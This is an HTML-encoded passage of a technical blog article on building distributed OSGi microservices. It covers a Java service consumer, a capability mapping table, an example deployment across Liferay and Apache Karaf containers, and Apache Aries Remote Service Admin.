&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamConsumer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_whoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Activate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;activate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Sending to Who I am service&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_whoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;whoiam&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Reference&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;setWhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;WhoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;whoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_whoIamService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = whoIamService;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 4 - Use of the WhoIamService service&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The µServices that we have seen, in a very synthetic way and I would say fast
too, are &lt;strong&gt;in-VM&lt;/strong&gt;, that is, the whole process works within a single JVM with
overhead practically close to zero. No &lt;strong&gt;proxy&lt;/strong&gt; is required, so eventually a
call to service it&amp;#x27;s just a direct call to the method. In this model, a good practice
forces the implemented service to do only one thing, in this way the
services are easy to replace and easy to reuse.&lt;/p&gt;&lt;p&gt;Now it&amp;#x27;s time for the big question. &lt;strong&gt;It is possible to distribute the µServices on
multiple OSGi containers keeping the same pattern (see Figure 2)?&lt;/strong&gt; Of course!
The how we will see later.&lt;/p&gt;&lt;h2 id=&quot;2-microservices-from-the-osgi-perspective&quot;&gt;2. Microservices from the OSGi perspective&lt;/h2&gt;&lt;p&gt;A different definition of Microservices can be found, but they all lead back to the
concept of an architectural style that favors the development of systems
&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Loose_coupling&quot;&gt;loose-coupling&lt;/a&gt;&lt;/strong&gt; where therefore the
components we have a low level of coupling, are distributable in
independently, are able to communicate through lightweight protocols and
are independently testable and scalable.&lt;/p&gt;&lt;p&gt;This implies that Microservices embrace modularity, in this sense OSGi is the
framework oriented from birth to &lt;strong&gt;µServices in VM&lt;/strong&gt;. To be more
precise, the table below shows how the different concepts expressed by
Microservices are associated with the OSGi world.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;width:150px&quot;&gt;Capability&lt;/th&gt;&lt;th&gt;OSGi functionality enabling&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Configuration Management&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;OSGi Config Admin defined in the OSGi Compendium specification&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Service Discovery&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;OSGi Service Registry defined in the OSGi Core specification&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Dynamic Routing&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Dynamic routing between services (in potentially different modules) can be established by OSGi filters that allow recovery of a service reference using a syntax similar to &lt;a href=&quot;https://tools.ietf.org/html/rfc4515&quot;&gt;LDAP&lt;/a&gt; (RFC-4515) based on the properties of the service&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;API Interface&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;The OSGi Remote Services specification defines a mechanism for exposing OSGi services to the outside world (effectively providing a mechanism for defining a module public API)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Security&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Some features (such as permission checking) are provided by &lt;a href=&quot;https://docs.osgi.org/specification/osgi.core/7.0.0/service.permissionadmin.html&quot;&gt;Permission Admin&lt;/a&gt; and &lt;a href=&quot;https://docs.osgi.org/specification/osgi.core/7.0.0/service.condpermadmin.html&quot;&gt;Conditional Permission Admin&lt;/a&gt; defined by the OSGi specification. Additional security features are provided by other specifications such as &lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.useradmin.html&quot;&gt;User Admin Service&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Centralized Logging&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;It can be obtained via the OSGi &lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.log.html&quot;&gt;Log Service&lt;/a&gt; specification&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Packaging&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;OSGi bundles are distributed as JAR artifacts, so ready too for deployment in environments that require the use of &lt;a href=&quot;https://it.wikipedia.org/wiki/Virtualizzazione_a_livello_di_sistema_operativo&quot;&gt;container&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Deployment&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Either from the OSGi console, from the file system (hot deploy) or via one dedicated tool / API (specific for OSGi runtime)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Table 1 - Association between Microservices capabilities and features offered
from the OSGi framework&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Moving beyond the confines of the OSGi environment, challenges come into play
interesting that obviously include considerations about the balance of the
load balancing, auto-scaling,
resilience, fault tolerance and back-pressure to name
some.&lt;/p&gt;&lt;p&gt;All these aspects can be enabled via the &lt;strong&gt;Remote Services&lt;/strong&gt; and &lt;strong&gt;Remote Service
Admin&lt;/strong&gt; specifications defined by the &lt;strong&gt;OSGi Compendium&lt;/strong&gt; specification.&lt;/p&gt;&lt;p&gt;In particular, the Remote Service Admin specification defines an agent of
management &lt;strong&gt;&lt;em&gt;plugable&lt;/em&gt;&lt;/strong&gt; called &lt;strong&gt;Topology Manager&lt;/strong&gt; able to satisfy the
several concepts mentioned that characterize the interaction between OSGi remote
service (actually the communication channel between the different OSGi containers
which form the set of Microservices).&lt;/p&gt;&lt;p&gt;The best known frameworks that provide an implementation of the two OSGi specifications
concerning Remote Services, are:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;http://cxf.apache.org/distributed-osgi.html&quot;&gt;Apache CXF Distributed OSGi&lt;/a&gt;
which allows you to:&lt;ol&gt;&lt;li&gt;Offer and consume SOAP and REST-based services. Furthermore, the use of the
&lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.component.html&quot;&gt;Declarative Services&lt;/a&gt;&lt;/strong&gt;
it is the simplest way to interact with these services;&lt;/li&gt;&lt;li&gt;communicate transparently between OSGi containers.&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://aries.apache.org/modules/rsa.html&quot;&gt;Apache Aries RSA&lt;/a&gt; (Remote Service
Admin);&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.eclipse.org/ecf/&quot;&gt;Eclipse Communication Framework&lt;/a&gt; (ECF)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Throughout this article, we will refer to the &lt;strong&gt;Apache implementation
Aries RSA (Remote Service Admin)&lt;/strong&gt;, because in my opinion it is the simplest and
flexible to use, as well as the most widespread.&lt;/p&gt;&lt;p&gt;After seeing what are the specifications that enable us to distribute the bundles
OSGi and therefore the &lt;strong&gt;µServices&lt;/strong&gt; to go outside the boundaries of their container,
the time has come to present a possible scenario taking care of the practical aspect.&lt;/p&gt;&lt;h2 id=&quot;3-an-example-scenario-of-remote-µservices&quot;&gt;3. An example scenario of Remote µServices&lt;/h2&gt;&lt;p&gt;Let&amp;#x27;s assume a scenario where we have four different OSGi containers, of which
two exclusively offer services, thus assuming the role of service provider, one
it offers services and also assumes the role of client or comumer and finally, one last that has
exclusively the role of consumer. On two of the three OSGi containers that will act as
service provider, we will install the same service.&lt;/p&gt;&lt;p&gt;So if we want to make the shopping list, we have to develop two classics
OSGi-style projects.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;One that contains three bundles: API, Service and Consumer for the service that
we will call Who I am.&lt;/li&gt;&lt;li&gt;One that contains three bundles: API, Service and Consumer for the service that
we will call Raspberry Pi.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The table below shows the details by service and which will be the
OSGi bundle to be developed.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;width:100px&quot;&gt;Servizio&lt;/th&gt;&lt;th style=&quot;width:100px&quot;&gt;Bundle Name&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Who I am Service&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;WhoIam API&lt;/td&gt;&lt;td&gt;Bundle that defines the Who I am service contract via the Java interface. The bundle exports the interface package (see Source Code 2).&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;WhoIam Service&lt;/td&gt;&lt;td&gt;Bundle that implements the Who I am service interface. The bundle imports the package interface (see Source Code 3).&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;WhoIam Consumer&lt;/td&gt;&lt;td&gt;Bundle that consumes the Who I am service. The reference to the service is obtained in such a way transparent from the Service Registry. The bundle imports the interface package (see Source Code 4).&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Raspberry Pi Service&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Raspberry Pi API&lt;/td&gt;&lt;td&gt;Bundle that defines the Raspberry Pi service contract via the Java interface. The bundle exports the interface package.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Raspberry Pi Service&lt;/td&gt;&lt;td&gt;Bundle that implements the Raspberry Pi service interface. The bundle imports the package interface.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Raspberry Pi Consumer&lt;/td&gt;&lt;td&gt;Bundle that consumes the Raspberry Pi service. The reference to the service is obtained in such a way transparent from the Service Registry. The bundle imports the interface package.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Table 2 - OSGi bundles that will implement the example scenario for µServices
remote&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The diagram below shows the scenario we are going to implement using
an architecture distributed to µServices while remaining in our OSGi context. For
those who are now used to developing using the OSGi framework,
they will appreciate the fact that in the end nothing will change in the way you write
code.&lt;/p&gt;&lt;p&gt;From the diagram it is possible to see that we have four OSGi available
Containers of which, one is inside an instance of &lt;strong&gt;Liferay Portal Platform&lt;/strong&gt;
and the rest of the three are all instances of &lt;strong&gt;Apache Karaf&lt;/strong&gt;. In order to make the
more interesting things, I deliberately planned for the scenario the introduction of
Liferay and an Apache Karaf instance running on the Raspberry Pi.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/79d9f9a153ec49caec329b759f518a27/e3729/scenario-osgi-remote-service-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:112.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;450\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20450\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M215%2010c-1%203-2%203-2%201%200-3-2-4-2-2l-1%201c-3%200-2%202%200%203%201%200%202%201%201%202%200%204%204%209%206%206%202-1%202-1%204%201s5%201%207-1%204-2%2072-2h70v105H220V86h17v4-18%2013h-17V54c0-29%200-31-2-31v1l1%2030v30h-16c-15%200-15%201-17%203-1%203-2%2056%200%2056l1-28%201-28%2015-1h16l-1%2020v20h154V17h-70c-69%200-71%200-70-2%200-3-2-6-4-6l-3-1-4-2c-3%200-4%200-6%204m34%2066h-4v8l1%209c1%201%2043%202%2045%201V76l-19-1-23%201m67%200h-17v9l1%2010h15l23-1h7V76l-6-1-23%201m-61%201h-8v7h15l14%201h-29v8h43V77h-5c-4%200-5%200-6%203l-2%204%201-3%201-4h-24m45%204l1%203h15l15%201-16%201h-15l1%204v3h43v-5l-1-8c0-3%200-3-4-3-3%200-4%200-4%202l-1%203v-3c0-2%200-2-17-2h-17v4m-154%2034l-1%202-1%202-1%202c-1%201-1%201-1-1s-2-4-2-2l-2%201c-2-2-2%201%200%202l2%202-70%201H0v158h153v-40h12c11%200%2012%200%2013%202l1%2032-1%2030%201-31%201-31-2-2c-1-1-3-2-4-1h-12l-9-1v-38h12c12%200%2013%200%2014%202s2%202%2021%202h19v90h48l77-1h28v-36h7l8-1h-15V138H232l-1-2-3-3-3-1c0-1-1-2-3-2-4-1-6%200-6%202l-1%203c-2%201-2%201-2-1l-1-2-1%201h-1l-2%201%202%202%202%204c0%205%202%207%205%205%201-2%202-2%202-1%202%203%206%203%209%201l3-3c0-3%206-3%2073-3h66v119h-17c-5%202-9%200-8-3v-4l-1-2h-23l-22%201v9l1%209a285%20285%200%200042%200l-23-1h-19v-8h30l-15-1h-15v-7h11c20-1%2021-1%2021%201l-1%204v1l2-4c1-2%202-2%206-2h4v4l1%209%201%205v-5c0-4%200-4%204-4l3%201%201%201%201-1c0-2%202-2%208-2h8v35H220v-44l1-43%2012-1h12v9h47l-1-9v-9l-23-1h-23v5c0%204%200%204-1%203h-2l-2%201c-2%200-2-1-2-7%200-8-1-7-1%201v6h-16l-1-29c0-26%200-28%202-28%201-1%201-1-1-1h-2v58h-11a424%20424%200%2000-28-2c0-2-3-3-16-3h-11v-7h14l16-1c1-1-4-1-14-1h-16v-59l3-1c5-3%206-12%201-13l-3-1c-2-2-6-3-8-2M37%20126H2v154h149v-38h-8l-8%201h-1l-4-1h-4v9H81l-1-5v-10l1-4h45v4c0%204%200%204%204%204%203%200%204%200%204-2h1c0%202%201%202%208%202h9v-19c0-18-1-19-2-19l-13-1h-11v5h-19a260%20260%200%2000-4-1h22v-17h-5c-5%200-5%200-5%202%200%206-3%207-19%207H82l-1%204c-1%204-1%204-1-5v-9h47l-1%207v6h26v-7h-9l-15-1%203-1%203-1h1l8%201h9v-58h-5l3-1c2-1%202-1%200-1l-2-2-2%201c-3%201-3%201-5-2l-2-2H37m-13%208v8l1%206h14v-15h-7l-8%201m3%2054v18h46v-19H50l-23%201m1%204v4h14c14%200%2015%200%2017-2%204-5%203-5-15-6H28v4m34-3v2c1%200%200%202-2%203l-2%203H28v7h11l22%201h10l1-4v-9c-1-4-1-4-5-4l-5%201m20%203v4h14c13%200%2014%200%2016-2%205-6%204-6-14-6H82v4m217%204v19h46l-23-1h-22v-8h15c15%200%2016%200%2018-2l2-5c0-2%201-2%204-2s4%200%204%202%201%201%202-2l-20-1a291%20291%200%2001-26%200m-53%202l1%204v3h14c13%200%2014%200%2016-2%204-5%203-6-14-6l-17%201m54%203v4h15c14%200%2015%200%2017-2%205-6%204-6-15-6h-17v4m-20-1l-3%204-3%203-14-1h-13v7l22%201h21v-16h-5c-4%200-5%200-5%202M27%20232v18h46v-18H27m2%202l-1%203v3h15c10%200%2014%200%2013%201l-14%201H29v7h42v-16h-5c-4%200-5%200-5%202l-1%203v-3c0-2%200-2-15-2l-16%201m52%202c0%204%200%204%2015%205l15%201H81v2l1%204c0%201%203%202%2022%202h21v-17h-5c-4%200-5%200-5%202l-1%203v-3c0-2%200-2-16-2H82l-1%203m164%2023l1%209h46l-1-9v-10h-46v10m2-5v4h14c13%200%2014%200%2016-2%204-5%203-5-14-6h-16v4m33-2c0%206-3%207-19%207h-14v8h43v-17h-5c-5%200-5%200-5%202m107%208l1%2029%201%2027%201-22c0-26-1-34-3-35v1m-173%2044v5c2%201%202%202%200%205-2%204-2%207%202%2011l2%203v55h-15l-17%201c-6%201-6%200-7-38l-1-35v35l2%2038h38v18l1%2018h24l25%201v12l1%2012v-25h103V312h-70l-70-1v-4c-1-3-3-5-7-3h-11m17%2010l1%202c2%204-6%2014-11%2013-1-1-1%204-1%2027v27h25v-4l1-4%2022-1h23v19h-22v4c0%203%200%204%202%204l3%201h-3c-2%200-2%200-2%209v8h101V313h-69l-70%201m157%2069a258%20258%200%2001-2%2063l2-1a1708%201708%200%20000-62m-89%201v9h46v-19h-19l-19%201h13c15%200%2017%201%2012%206-2%202-3%202-17%202-13%200-15%200-15-2l1-3c0-1%201-2%203-2%203%200%202-1-2-1l-3-1v10m-51-8l-2%204%201%203h13c14%200%2014%200%2017-2%204-4%203-5-6-5a246%20246%200%2001-23%200m35%200c-2%200-3%201-3%202l-2%204c-3%202-4%202-17%202-15%200-16%200-14%205v3h43v-8c0-10%200-9-7-8m52%202l-3%204c-2%202-3%203-17%203h-14l-1%203v4h43v-3l1-8v-5h-4c-4%200-5%200-5%202m-115%2024v17h48v-8l-1-9v-8l-11-1-10%201-1-5c0-3%200-4-2-4h-6l-8-1h-9v18m49%2043\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/79d9f9a153ec49caec329b759f518a27/c85cb/scenario-osgi-remote-service-1.webp 300w,/static/79d9f9a153ec49caec329b759f518a27/e88ff/scenario-osgi-remote-service-1.webp 600w,/static/79d9f9a153ec49caec329b759f518a27/92f8c/scenario-osgi-remote-service-1.webp 1200w,/static/79d9f9a153ec49caec329b759f518a27/e7b51/scenario-osgi-remote-service-1.webp 1794w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/79d9f9a153ec49caec329b759f518a27/5a46d/scenario-osgi-remote-service-1.png 300w,/static/79d9f9a153ec49caec329b759f518a27/0a47e/scenario-osgi-remote-service-1.png 600w,/static/79d9f9a153ec49caec329b759f518a27/c1b63/scenario-osgi-remote-service-1.png 1200w,/static/79d9f9a153ec49caec329b759f518a27/e3729/scenario-osgi-remote-service-1.png 1794w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 4 - Example scenario of Remote µServices&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/79d9f9a153ec49caec329b759f518a27/c1b63/scenario-osgi-remote-service-1.png&quot; title=&quot;Figure 4 - Example scenario of Remote µServices&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 4 - Example scenario of Remote µServices&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The distribution of the bundles (indicated in
Table 2) on the four OSGi containers. On Liferay Portal we have the bundles that
will allow you to consume the Who I am and Raspberry Pi service. On two containers
Apache Karaf we have the bundles that will allow us to provide the Who I am service
, and on one of the two containers the bundles that will allow you to consume the
Raspberry Pi service. On the third and final Apache Karaf container we have the bundles
which will provide the Raspberry Pi service.&lt;/p&gt;&lt;p&gt;Now that we have a clear idea of what our scenario will be, we must
understand how to enable the OSGi containers we have available to be
able to communicate with each other.&lt;/p&gt;&lt;h2 id=&quot;4-apache-aries-rsa-remote-service-admin&quot;&gt;4. Apache Aries RSA (Remote Service Admin)&lt;/h2&gt;&lt;p&gt;The specific
&lt;a href=&quot;https://osgi.org/specification/osgi.cmpn/7.0.0/&quot;&gt;OSGi R7 Compendium&lt;/a&gt; has two
sections related to OSGi Remote Services:
&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.remoteservices.html&quot;&gt;100 Remote Services&lt;/a&gt;
(RS) e
&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.remoteserviceadmin.html&quot;&gt;122 Remote Service Admin Service Specification&lt;/a&gt;
(RSA). These specs, however, are primarily intended for who
implements RS/RSA rather than developers.&lt;/p&gt;&lt;p&gt;Throughout the article I have always referred to the R7 release of the
OSGi specifications, I would however like to mention that the specifications for OSGi Remote
Services were introduced in
&lt;a href=&quot;https://docs.osgi.org/download/r4v42/r4.enterprise.pdf&quot;&gt;OSGi Service Platform Enterprise Specification, Release 4, Version 4.2&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;To recap. OSGi services are simply Java objects that expose a
number of Java interfaces. Instances are dynamically registered in
based on the interface name along with the properties via the &lt;strong&gt;Service
Registry&lt;/strong&gt;. As described in the specifications, OSGi services feature numerous
advantages, including support for dynamics, safety, a clear cut
separation between service contract and implementation,
&lt;a href=&quot;https://www.osgi.org/developer/white-papers/semantic-versioning/&quot;&gt;Semantic Versioning&lt;/a&gt;
and other. There are three parts to an OSGi service instance:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;one or more service interfaces (java interface);&lt;/li&gt;&lt;li&gt;an implementation of service interfaces;&lt;/li&gt;&lt;li&gt;a consumer of the service (via the service interface).&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;a href=&quot;https://osgi.org/specification/osgi.cmpn/7.0.0/service.remoteservices.html&quot;&gt;OSGi Remote Services&lt;/a&gt;
it is simply extending the Service Registry to allow access to
OSGi services from out of process ... or for remote access.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;How does it differ from non-OSGi remoting like HTTP/REST?&lt;/strong&gt; First
In place, the OSGi remote services have access to all properties of the OSGi services
... e.g. dynamics, security, versioning, separation of
implementation contracts, etc., as well as full support for services
declarative or &lt;strong&gt;Declarative Services&lt;/strong&gt; and other injection frameworks.&lt;/p&gt;&lt;p&gt;A &lt;strong&gt;Distribution Provider&lt;/strong&gt; can take advantage of &lt;strong&gt;loose-coupling&lt;/strong&gt; between bundles
to export a registered service by creating an &lt;strong&gt;endpoint&lt;/strong&gt;. Conversely, the
Distribution Provider can create a &lt;strong&gt;proxy&lt;/strong&gt; that accesses an endpoint and then
register this proxy as an imported service. A framework can contain
simultaneously several Distribution Providers, each of which imports and
exports independently.&lt;/p&gt;&lt;p&gt;An &lt;strong&gt;endpoint&lt;/strong&gt; is a communication access mechanism to a service
in another framework, a (web) service, another process or queue, etc.,
which requires a communications protocol. The mapping between services ed
endpoints as well as their communication characteristics is called
&lt;strong&gt;topology&lt;/strong&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:637px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b0b9bd93e70a725ff9303415def56d45/13a9a/100-architecture.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
